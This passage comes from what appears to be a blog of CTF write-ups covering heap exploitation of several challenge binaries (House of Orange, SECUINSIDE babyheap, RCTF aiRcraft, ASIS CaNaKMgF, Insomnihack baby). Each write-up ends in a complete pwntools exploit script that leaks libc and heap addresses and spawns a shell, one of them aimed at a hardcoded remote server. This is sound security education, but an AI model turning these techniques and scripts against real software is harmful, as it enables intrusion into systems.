So, the fd pointer of previous chunk get’s overwritten with an address in the main_arena.

If we set the previous chunk to be _IO_list_all – 0x10, then bck->fd will be the _IO_list_all pointer.

So let’s just do a quick recap.

  • Corrupt top chunk to make it of smaller size.
  • Call malloc with a large value of size to force the call to _int_free
  • Corrupt bck pointer of free chunk to point to _IO_list_all – 0x10.
  • Set size of chunk such that the second file pointer accessed is under users control. (0x61 is one such value)

Okay, once all that is done, the function _IO_flush_all_lockp performs some checks on the file pointer which need to be passed in order to get a shell. You can look up the source code if you’re interested in what they mean. I’ll just list the conditions here.

Suppose the file pointer starts at base_address.

  1. base_address+0xc0 == 1
  2. base_address+0xa0 should contain a pointer that contains two variables such that the first is smaller than the second. These variable should be at an offset of 0x18 and 0x20 from the pointer.
  3. base_address+0xd8 shoule contain the jump table.
  4. jump_table+0x18 should contain the address of the function that we want to be executed.

If we’ve set the value at jump_table+0x18 to be the address of system, then it will be called with the address of the file pointer as argument.

The first 8 bytes of the chunk is the prev_size which we can set to “/bin/sh”.

So, all that’s left is to trigger the whole exploit by calling malloc once more.

And, once that’s done, we have a shell.

Awesome challenge, awesome idea. Here’s my script anyways.

from pwn import *

magic = 0xDDAA
system = 0x45380
io_list_all = 0x3c4520
prompt = "Your choice : "
build, see, upgrade = "1", "2", "3"


def build_house(size, name, price, color):
    p.sendlineafter(prompt, build)
    p.sendlineafter("Length of name :", str(size))
    if len(name) < size:
        name += "\n"
    p.sendafter("Name :", name)
    p.sendlineafter("Price of Orange:", str(price))
    p.sendlineafter("Color of Orange:", str(color))


def see_house():
    p.sendlineafter(prompt, see)
    p.recvuntil("Name of house : ")
    p.recvline()
    return p.recvline().strip()


def upgrade_house(size, name, price, color):
    p.sendlineafter(prompt, upgrade)
    p.sendlineafter("Length of name :", str(size))
    p.sendafter("Name:", name)
    p.sendlineafter("Price of Orange: ", str(price))
    p.sendlineafter("Color of Orange: ", str(color))


if __name__ == "__main__":
    p = process("./houseoforange", env={"LD_PRELOAD": "./libc.so.6"})
    build_house(0x80, 'asdf', 5, 1)
    #
    # Here we corrupt the top chunk
    #
    payload = fit({0xa0: p64(0)+p64(0xf31)})
    upgrade_house(0xb1, payload, 5, 1)
    #
    # This will trigger call to int_free()
    #
    build_house(0x1000, 'dummy', 5, 1)
    build_house(0x400, 'a'*7, 199, 1)
    libc = u64(see_house().ljust(8, "\x00")) - 0x3c4188
    log.success("Leaked libc @ {}".format(hex(libc)))
    system += libc
    io_list_all += libc
    upgrade_house(16, 'a'*15+"\n", 5, 1)
    heap = u64(see_house().ljust(8, "\x00")) - 0x130
    log.success("Leaked heap @ {}".format(hex(heap)))
    payload = fit({0x410: p32(magic)+p32(31),
                   0x420: "/bin/sh\x00",
                   0x428: p64(0x61)+p64(0xdeadbeef)+p64(io_list_all-0x10),
                   0x4c0: p64(heap+0x560),
                   0x4e0: p64(1)+p64(0)*2,
                   0x4f8: p64(heap+0x658),
                   0x500: p64(1)+p64(2)+p64(3)+p64(0)*3,
                   0x530: p64(system)})
    upgrade_house(0x800, payload, 123, 1)
    p.sendlineafter(prompt, build)
    p.interactive()

For education purposes, I’ve put up a PoC as well. You can find it here house_of_orange

Cheers!

SECUINSIDE CTF 2017 babyheap Write up

This challenge was a pretty good one considering the idea behind the whole exploit. Hence the reason I decided to put up a detailed write up on it.

Starting with the mitigations enabled on the binary

$ checksec babyheap

Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

There are mainly two structures that are used by the program. One is a team and the other is an employee. Every team object is placed in a table that lies in the bss segment of the binary.

The team object contains a pointer to a buffer allocated on the heap, a pointer to a table of employee objects ( the table is again on the heap ) and the count of employees in the table.

Creating a team object allocates 0x18 bytes for the object itself, and arbitrary number of bytes for the description. User input is then read into the description. The counter and the table pointer are set to NULL.

There are functionalities to print out the details of each team and remove teams and a manage team functionality as well.

In the remove functionality, only the pointer to the object is freed. The description and the contents of the table along with the table remain in use (from malloc’s point of view). There are no UAF vulnerabilities here since the pointer to the object gets nulled out right after freeing it.

The manage functionality allows us to manage the employee objects ( if any) in the team objects table. We can add employees, remove them, edit their contents and list out the contents.

Every employee object is of size 200. The first 100 bytes are reserved for description and the next 100 bytes are for the employee name.

Every time you add an employee, the table that is contained in the team object gets realloc’d with the arguments being the old table pointer and the new size.

Removing an employee object clears the entry in the table as well. However, removing an entry does not decrement the counter.

So, let’s start pwning this binary.

The first thing I looked for was a way to leak memory.

We can leak the heap and the libc but only the libc address will be required for this challenge.

Assuming we’ve created a team, we can add two members (the second one is to prevent coalescing with top chunk) with some random names. Since each of those objects are of size 0xC8, removing any one will insert the chunk into the free list. Now we can create another team with description size 0xC8 and the same chunk will be returned back to us.

And printing out the description of the new team will leak out a pointer from which we can calculate the base address of the libc.

So, since that’s done, we can move on to corrupting something.

There are no overflows that I could find, no apparent use-after-free’s. But if you look closely at the part of the code where the table gets realloc’d we see something that can be used.

1

R12 contains the pointer to the team object. So, program only considers the last byte of the count of employees.

So if the total count were 0xff and we add another employee, the value of r15b would be 0x0. And something I read about realloc from its man page is that a call to realloc with the second argument set to 0 implicitly calls free with the same first argument.

So there’s our UAF.

Allocating another team with description size 0x7f0 ( the size of the table when there were 255 entries) would return a pointer to the table.

I decided to overwrite the first entry in the table with a pointer to the __free_hook. So editing the first employee description would allow me to edit the __free_hook with whatever I wanted ( for example, the address of system).

Now removing any employee with description set to “/bin/sh” would lead to system being invoked with the same string as argument.

And well, that’s all there is to it. Here’s the script.

from pwn import *

prompt = ">"

def return_to_menu():
    p.sendlineafter(prompt, "5")


def add_member(num, names, desc, flag=False):
    p.sendlineafter(prompt, "1")
    p.sendlineafter("employment :", str(num))
    if flag is True:
        return
    for x in xrange(num):
        p.sendlineafter("Name :", names[x])
        p.sendlineafter("Description :", desc[x])


def remove_member(idx):
    p.sendlineafter(prompt, "2")
    p.sendlineafter("Index :", str(idx))


def edit_member(idx, payload):
    p.sendlineafter(prompt, "4")
    p.sendlineafter("Index :", str(idx))
    p.sendlineafter("Description :", payload)


def manage_team(idx):
    p.sendlineafter(prompt, "3")
    p.sendlineafter("Index :", str(idx))


def create_team(len, desc):
    p.sendlineafter(prompt, "1")
    p.sendlineafter("length :", str(len))
    p.sendafter("Description :", desc)


def remove_team(idx):
    p.sendlineafter(prompt, "2")
    p.sendlineafter("Index :", str(idx))


def list_teams(num):
    p.sendlineafter(prompt, "4")
    for x in xrange(num):
        p.recvuntil("Description : ")
    leak = u64(p.recv(6).ljust(8, "\x00"))
    return leak


if __name__ == "__main__":
    p = process("./babyheap")
    create_team(0x20, "aaa\n")
    manage_team(0)
    #
    # obj[0] is desc
    # obj[1] is num_employees
    # obj[2] is table of employees
    #
    # The total number of employees should be 0xff.
    #
    names = ["/bin/sh\x00" for x in xrange(255)]
    add_member(255, names, names)
    #
    # Removing an employee doesn't decrement the counter
    #
    remove_member(0)
    return_to_menu()
    #
    # Each employee object is of size 0xC8.
    # Deleting an employee puts the object in free list.
    # Allocating another team with description size 0xC8
    # returns that chunk.
    #
    create_team(0xC8, "\n")
    libc = list_teams(2) - 0x3c4b0a
    free_hook = libc + 0x3c67a8
    system = libc + 0x45390
    log.success("Leaked libc @ {}".format(hex(libc)))
    #
    # Adding one more member makes total = 0x100
    # realloc is called with last byte of total
    # realloc(table, 0) => free(table)
    #
    manage_team(0)
    add_member(1, ["blah"], ["blah"], True)
    return_to_menu()
    #
    # Now we use the create_team function
    # with size of description = 0x7f0
    # So the table will be allocated back to us
    # And we can edit the pointers
    #
    create_team(0x7f0, p64(free_hook))
    #
    # Now we can use the edit functionality of team 0
    # and edit the free hook to point to system.
    # And call free with a block that contains /bin/sh
    #
    manage_team(0)
    edit_member(0, p64(system))
    #
    # Now we've changed the free hook to system
    #
    remove_member(4)
    #
    # And here's the shell
    #
    p.interactive()

RCTF 2017 aiRcraft Write up

I didn’t have the chance to actually play the CTF, but wanted to try out the challenges nevertheless. This one was a really interesting challenge and had me spending some time on it.

One of the reasons why this is a great challenge is that I ended up using a combination of three heap vulnerabilities to get a shell ( UAF -> Unlink -> Fastbin ). I don’t think my method is the easiest, but I’ll explain it here.

Let’s start by checking the mitigation techniques enabled on the binary.

$ checksec aiRcraft

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

Now onto the functioning of the binary.

The binary has mainly two structures. One of them is used to represent a plane and the other is used to represent an airport ( and so they shall be called as such).

A object of plane can be summarised as follows

struct plane {
char name[32];
char *company;
airport *ptr;
plane *prev;
plane *next;
void (*fun_ptr) (plane *ptr);
}

And an object of airport is as follows

struct {
char *name;
plane planes[16];
}

We are allowed to build airports, buy planes, fly planes to airports, list planes in an airport, sell planes, sell airports.

Every plane bought is appended in a doubly linked list ( the head is another object that lies in the bss). After creating an object of plane, it’s function pointer is initialised to a function which calls free with the same argument that it was called with.

Every airport built is placed in a table that lies in the bss segment. The name pointer is initialised to a chunk on the heap whose size we can control.

If we fly a plane to an airport, the plane’s ptr variable get’s initialised to the airport object. At the same time, the airport enters the pointer to the plane in its own array of planes.

Selling an airport does the following:

  • Unlink every plane that is currently in the airport and then free the plane.
  • Free the pointer to the airport.

This method misses out two things, 1) It doesn’t free the name pointer of the airport and 2) The pointer to the airport still lies in the table ( UAF).

Selling a plane does the following:

  • Unlink itself from the linked list.
  • Call the function pointer with itself as argument.

Now onto the idea of the exploit.

First thing I usually look for is a memory leak. In this case, the leak happens by exploiting the UAF vulnerability.

Here’s the idea

  1. Build an airport.
  2. Buy two planes.
  3. Sell one plane.
  4. Fly the other to the airport.
  5. Sell the plane.

Now, since the size of a plane object is 0x51, it will be put into a fastbin. The object freed second will contain a pointer to the other. Since the plane freed second is in the airport, we can leak it out by calling the list option of the particular airport.

And that gives us a heap address leak.

Now, the size of an airport object is 0x91 which mean’s that it is not going to be put into a fastbin. So freeing an airport object will put the object into a linked list of free chunks. If there is only one chunk in the linked list, it will contain a pointer to the main arena which lies in the libc’s bss.

Now, every plane object has a pointer to the company. So if we can overwrite that pointer to point to the freed airport object, we can leak out a libc address.

Keep in mind that the first airport contains a pointer to a free chunk of size 0x51 which it assumes to be a plane object.

So here’s idea for the leak.

  1. Build a dummy airport and free it (Pointers to main arena are now set).
  2. Build an airport with size of name = 0x48. (Now the address of the old plane object gets returned as the name).
  3. The name of this airport should contain a pointer to the dummy airport at the offset where the company pointer should have been.
  4. List the details of the planes from the first airport.

And there’s the libc leak.

Now that we have that, we can start pwning this binary.

A new vulnerability opens up with the UAF. It’s the old unlink vulnerability that is present in the unlink function. With that, we can perform an arbitrary 8 byte write anywhere.

The first thing I thought was to overwrite the address of system in the function pointer of a plane, but that would only lead to a segfault ( Try it out if you don’t believe me).

We need some other method to overwrite the function pointer.

That’s where the final fastbin part comes into play.

If we could get a chunk allocated that lies inside a plane object, we could overwrite its function pointer. To do that, we’d have to control the next pointer of a chunk in the fastbin. Better yet, why not just overwrite the main arena itself ?

So the steps boil down to the following.

  • Buy a plane with name set to “/bin/sh”  followed by 0x51( We plan to overwrite this one’s function pointer)
  • Buy a new plane, fly it to the first airport and sell the plane.
  • Build a new airport with size of name = 0x48.
  • Name should contain proper addresses of main arena and an address inside the target plane as next and prev pointers.
  • Now sell the airport ( And we’ve corrupted the fastbin).

At this point, what I did was to buy another plane which messed up. Since the plane that was already in the linked list had corrupted pointers that were used in the unlink exploitation part. So appending the new plane crashed the binary.

So the next step is to actually build an airport with size of name = 0x48 and the address of system at the correct offset.

Once that is done, sell the bloody plane and wait for a shell to magically pop up.

Phew! There are a couple of things that might happen while trying out this method. I leave those to the reader to find out themselves.

Anyways, here’s the script

from pwn import *
import sys

prompt = "Your choice: "
buy, build, enter, select = "1", "2", "3", "4"
show, sell_a = "1", "2"
fly, sell_p = "1", "2"


def buy_plane(company, name):
    p.sendlineafter(prompt, buy)
    p.sendlineafter(prompt, str(company))
    p.sendlineafter("name: ", name)


def build_airport(length, name):
    p.sendlineafter(prompt, build)
    p.sendlineafter("name? ", str(length))
    p.sendlineafter("name: ", name)


def enter_airport(idx):
    p.sendlineafter(prompt, enter)
    p.sendlineafter("choose? ", str(idx))


def show_planes(idx, flag=False):
    enter_airport(idx)
    p.sendlineafter(prompt, show)
    p.recvuntil("Plane name: ")
    if flag is False:
        msg = u64(p.recvline().strip().ljust(8, "\x00"))
        log.success("Leaked {}".format(hex(msg)))
    else:
        p.recvuntil("Build by ")
        msg = u64(p.recvline().strip().ljust(8, "\x00"))
        log.success("Leaked {}".format(hex(msg)))
    p.sendlineafter(prompt, "3")
    return msg


def sell_airport(idx):
    enter_airport(idx)
    p.sendlineafter(prompt, sell_a)
    p.recvline()


def select_plane(name):
    p.sendlineafter(prompt, select)
    p.sendlineafter("choose? ", name)


def fly_plane(name, idx):
    select_plane(name)
    p.sendlineafter(prompt, fly)
    p.sendlineafter("fly? ", str(idx))
    p.sendlineafter(prompt, "3")


def sell_plane(name):
    select_plane(name)
    p.sendlineafter(prompt, sell_p)


if __name__ == "__main__":
    p = process("./aiRcraft")
    #
    # Leaking heap address
    #
    build_airport(20, "myairport")
    buy_plane(1, "dummy")
    buy_plane(1, "myplane")
    sell_plane("dummy")
    fly_plane("myplane", 0)
    sell_plane("myplane")
    heap = show_planes(0) - 0xb0
    #
    # Leaking libc address
    #
    build_airport(20, "dummy")
    build_airport(20, "dummy2")
    sell_airport(2)
    sell_airport(1)
    payload = fit({32: p64(heap+0x160)*3}, length=0x47, filler="\x00")
    build_airport(0x48, payload)
    libc = show_planes(0, True) - 0x3c3b78
    system = libc + 0x45390
    #
    # Exploit unlink vulnerability to corrupt fastbins
    #
    sell_airport(3)
    # target is main_arena+32 = libc + 0x3c3b40
    target = libc + 0x3c3b40
    # source is lastplane's address = heap + 0x218
    source = heap + 0x218
    buy_plane(1, "lastplane")
    fly_plane("lastplane", 0)
    sell_plane("lastplane")
    payload = fit({48: p64(target-56)+p64(source)}, length=0x47)
    build_airport(0x48, payload)
    buy_plane(1, "/bin/sh\x00"+p64(0)+p64(0x51))
    sell_airport(0)
    build_airport(0x48, "A"*8)
    payload = fit({24: p64(heap+0x400)+p64(0)+p64(system)}, length=48)
    build_airport(0x48, payload)
    sell_plane("/bin/sh")
    p.interactive()

 

Asis CTF Quals 2017 CaNaKMgF write up

Solved by 4rbit3r

This time, ASIS Quals was held almost the same time as my exams. But I still managed to find time to play the CTF. This is one of the challenges that I found pretty interesting.

Most of the CTF’s nowadays have this challenge where you are given a menu driven program and you’re supposed to wreak havoc using the functionalities that it provides.

The idea behind these challenges is to check how good your knowledge of dlmalloc is. I’m still learning a lot of new stuff from every write-up I read of some challenge that is of a similar type.

So let’s start pwning this bin.

The same binary was given as two separate challenges. The second one only differed from the first in terms of protections enabled. The second had PIE and Full RELRO enabled whereas the first one didn’t.

So I’ll explain a method that can be used for both of the challenges. And after that I’ll explain how I actually solved the first one during the CTF.

Firstly, let’s start with the functionalities provided.

  • do_allocate : Ask user for size. Call malloc with size as argument and fill the chunk returned with user input (Max of size bytes). The pointer is then stored in a table of such pointers.
  • do_write : This function prints out the content of any filename that the user wants. But this functionality was removed in the second binary. This isn’t really relevant to the solution whatsoever.
  • do_free : As the name suggests, this free’s a chunk that the user specifies. Note that the table entry doesn’t get zeroed out. Possibility of a UAF.
  • do_read : Prints out the content of any entry in the table.

So, we have a UAF vulnerability. We can use that to force malloc to return an arbitrary pointer. But then we’d be in need of a memory leak. Let’s do that first.

The do_read function prints out the content of any table entry regardless of whether it has been free’d or not.

So we can abuse the fact that free chunks contain FD and BK pointers. If it is the only chunk in the linked list, then the FD and BK should be pointing to the main_arena. So we can use the do_read functionality to leak out the libc.

There is also a method to leak out the heap address. Although it isn’t really useful for this challenge, I’ll just explain it.

The simplest way would be to allocate two chunks of same size (smaller than 0x80). These chunks, if free’d would end up in the Fastbins. Now the fastbins are a group of singly linked lists. So if both of the chunks free’d are of the same size, then one of those would contain a pointer to the other. We could then use the do_read functionality on the last free’d chunk and leak out a pointer to the heap.

Alright, so we can now move on to the second part which would be forcing malloc to return an arbitrary pointer. Since PIE is enabled, performing a GOT table overwrite is out of the question. Full RELRO simply adds to that. So a viable target that can be overwritten is the __malloc_hook.

This is a function pointer that lies in the libc’s bss section. Usually, the value is null. If the value isn’t null, then the function pointer is invoked at every malloc or free.

So our objective would be to overwrite the __malloc_hook with something that would lead to a shell. Now in order to do that, we can use the fastbins method. We could overwrite the next pointer of one of the chunks in a fastbin. That would trick malloc into thinking that there is one more chunk in the fastbin. So requesting a size which is in the same size range as that of the chunk in the fastbin, would make malloc return the address that we control.

The only condition that has to be met is that the size has to be correctly set. It might be difficult to find some location with the correct size. So what we can do is use a pointer that one can easily find in libc’s bss. Every address starts with 0x7f followed by 5 more bytes. So, we can use an address such that only the 0x7f is considered as size.

Normal view.

Screenshot from 2017-04-19 18-44-45

What we’ll be using is this

Screenshot from 2017-04-19 18-47-37

You can see that, if we chose to view the memory 5 bytes misaligned, the size byte is correctly set. Malloc doesn’t put a constraint upon alignment or the precision of the size. So a size of 0x7f will pass the checks of a fastbin chunk of size 0x71.

Now to actually getting a arbitrary chunk returned by malloc in this situation, we can use the UAF vulnerabitlity. Allocate two chunks, free both of them. Free the first one again. Now allocate another chunk.

At this point, the same chunk will be under the user’s control as well as in the fastbin. So the next pointer is under the control of the user.

So, once all that is done, and we’ve got control over the __malloc_hook, the next question is what do we overwrite this pointer with ?

We’ve only got control over RIP, so the easiest method would be to use a One-Shot-RCE gadget.

To do that, you can use the one_gadget tool that I’ve found to be really helpful.

Once you’ve overwritten __malloc_hook with the address of the One-Shot-RCE, all that is left is to call malloc or free and wait for the shell to magically pop up.

I couldn’t land a shell by calling malloc, probably because of some constraints that weren’t met. But calling free did the trick.

Here’s the script.

from pwn import *
import sys


def allocate(size, payload):
    p.sendlineafter("away\n", "1")
    p.sendlineafter("? ", str(size))
    p.sendline(payload)


def remove(idx):
    p.sendlineafter("away\n", "3")
    p.sendlineafter("? ", str(idx))


def leak(idx, flag=False):
    p.sendlineafter("away\n", "4")
    p.sendlineafter("? ", str(idx))
    if flag is True:
        return 0
    msg = u64(p.recvline().strip().ljust(8, "\x00"))
    return msg


if __name__ == "__main__":
    if sys.argv[1] == "local":
        p = process("./remastered")
    elif sys.argv[1] == "remote":
        p = remote("128.199.85.217", 10001)
    allocate(2000, 'asdf')
    allocate(2000, 'asdf')
    remove(0)
    libc = leak(0) - 0x3c3b78
    log.success("Leaked libc @ {}".format(hex(libc)))
    allocate(0x60, 'asdf')
    allocate(0x60, 'asdf')
    remove(3)
    remove(2)
    remove(3)
    malloc_hook = libc + 0x3c3aed
    one_gadget = libc + 0xef6c4
    allocate(0x60, p64(malloc_hook))
    allocate(0x60, 'asdf')
    allocate(0x60, 'asdf')
    payload = fit({0x13: p64(one_gadget)})
    allocate(0x60, payload)
    remove(0)
    remove(0)
    p.interactive()

And well, that gave a shell.

Now onto the solution that I had used for the first bin.

I decided to use the same 0x7f method and tricked malloc into returning a pointer to the GOT table. After that, I went ahead and overwrote the GOT entry of strtoul with the address of system. The functionality we wish to choose is done by a read followed by a strtoul. So if I gave a string ‘sh’ as input, strtoul would be invoked with that and shell.

That works too. But this is the cleaner exploit and so it’s the only one I’m putting up here.

Insomnihack Teaser 2017 Baby (Heap) Writeup

I had mentioned in an earlier post how I solved this challenge during the CTF using stack overflow and format string attacks.

Later on, I decided to try the heap method. And well, this write up is about just that.

So, now let’s look at the doheap function.

What I love about this challenge is that all we need to do is exploit. We don’t need to spend time on reverse engineering the whole binary and searching for the bug. We’re given the bug (three of them actually) and asked just to exploit.

The doheap function offers the functionalities of allocating a chunk of user specified size, removing a chunk, writing data into a chunk. Pointers to these chunks are stored on the stack in an array.

The vulnerability here again is pretty apparent. We can write data into any chunk, including one that was freed.

Now regarding what to do with the overflow, there are a couple of things we could do. We could try the House of Force and overwrite the GOT table with some value. But I decided to try something that I didn’t have much experience with which was abusing the Fastbin linked list.

The idea here was to put two chunks into the fastbin list. So the latter of the two would contain a pointer to the other. And then we could overwrite the pointer in the latter to some address that we like. So calling malloc with the same size as that of the two we’ve free’d would return an arbitrary pointer.

To break it down, when the program starts, the fastbin list is empty. Once we free a chunk of a small size, say 32 bytes, it gets pushed into the fastbin list. Imagine the chunk that we free first is called A and its size is 32 bytes.

Once we free A, the head of the fastbin list will point to A. Now if we were to free another chunk, say B, of the same size ie 32 bytes, the head of the fastbin list changes to B and the address of A is written into B.

So it would be something like this:
head -> null                                (Before freeing A)
head -> A -> null                      (After freeing A and before freeing B)
head -> B -> A -> null            (After freeing B)

Now we can use the overflow to write some bytes into B. After this, if we request a chunk from the heap using malloc with a size < 32, we'd get the top of the fastbin list ie B. Not very useful.

But wait, if we request another chunk from the heap, again with size < 32, we'd get a pointer to whatever we stored inside B.

One small thing that we need to take care of is to make sure that there exists the same size value at whatever address we gave + 8.

So lets put the plan down on the table

  • Allocate 5 chunks of a small size.
  • Remove the second and fourth.
  • Edit the fourth chunk and write stack address.
  • Allocate two chunks.
  • Write data into the latter of the last two chunks allocated. (Stack overflow)

I used chunks sizes of 10, and malloc returned chunks of sizes 32. So I had to make sure that 0x21 was there somewhere on the stack. So in the read functionality, it asks us for a size, where I gave a valid size + null byte + 0x21. So 0x21 lies on the stack now. Problem solved.

I did use the dofmt function to leak the canary, stack and libc addresses. So I guess in this exploit, I did use format string attack, return to libc, and heap overflow. Pretty nice combo even if I say so myself !

Anyway, here’s the exploit script.

from pwn import *

# pop rdi;ret;
g1 = 0x1c8b
# pop rsi;pop r15;ret;
g2 = 0x1c89


def leak_first():
    p.sendlineafter("> ", '2')
    p.sendlineafter("> ", '%llx-'*158)
    val = p.recvline().strip().split('-')
    p.sendline('')
    libc, stack = int(val[-2], 16), int(val[138], 16)
    text, canary = int(val[139], 16), int(val[137], 16)
    return libc-0x21f45, stack-80, text-0x19cf, canary


def alloc(idx, size):
    p.sendlineafter("choice > ", "1")
    p.sendlineafter("chunk > ", str(idx))
    p.sendlineafter("size > ", str(size))
    p.recvuntil("@ ")
    addr = int(p.recvline().strip(), 16)
    log.success("Chunk index {} @ {}".format(str(idx), hex(addr)))
    return addr


def evil_alloc(idx, size):
    p.sendlineafter("choice > ", "1")
    p.sendlineafter("chunk > ", str(idx))
    p.sendafter("size > ", str(size)+"\x00"*6+"\x21"+"\x00"*7)
    p.recvuntil("@")
    addr = int(p.recvline().strip(), 16)
    log.success("Chunk index {} @ {}".format(str(idx), hex(addr)))
    return addr


def read(idx, size, payload):
    p.sendlineafter("choice > ", "3")
    p.sendlineafter("chunk > ", str(idx))
    p.sendlineafter("size > ", str(size))
    time.sleep(1)
    p.sendline(payload)


def free(idx):
    p.sendlineafter("choice > ", "2")
    p.sendlineafter("chunk > ", str(idx))


if __name__ == "__main__":
    fd = 4
    # p = remote("baby.teaser.insomnihack.ch",1337)
    p = remote("localhost", 1337)
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    libc.address, stack, text, canary = leak_first()
    g1 += text
    g2 += text
    system = libc.symbols['system']
    binsh = libc.search('/bin/sh').next()
    dup2 = libc.symbols['dup2']
    log.success("Stack @ {}".format(hex(stack)))
    log.success("Libc @ {}".format(hex(libc.address)))
    p.sendlineafter(">", "3")
    for x in xrange(1, 6):
        alloc(x, 10)
        read(x, 10, "A"*9)
    free(2)
    free(4)
    read(4, 16, p64(stack)+"A"*8)
    alloc(6, 10)
    evil_alloc(7, 10)
    payload = fit({8: p64(canary), 24: p64(g2)+p64(0)*2+p64(g1)})
    payload += p64(fd)+p64(dup2)+p64(g2)+p64(1)*2+p64(g1)+p64(fd)+p64(dup2)
    payload += p64(g1)+p64(binsh)+p64(g2)+p64(0)*2+p64(system)
    read(7, len(payload), payload)
    p.sendlineafter("choice > ", "5")
    p.interactive()